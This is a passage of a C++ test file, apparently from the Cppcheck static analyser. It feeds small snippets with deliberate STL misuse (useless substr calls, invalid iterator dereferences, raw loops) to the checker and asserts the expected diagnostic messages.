s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // 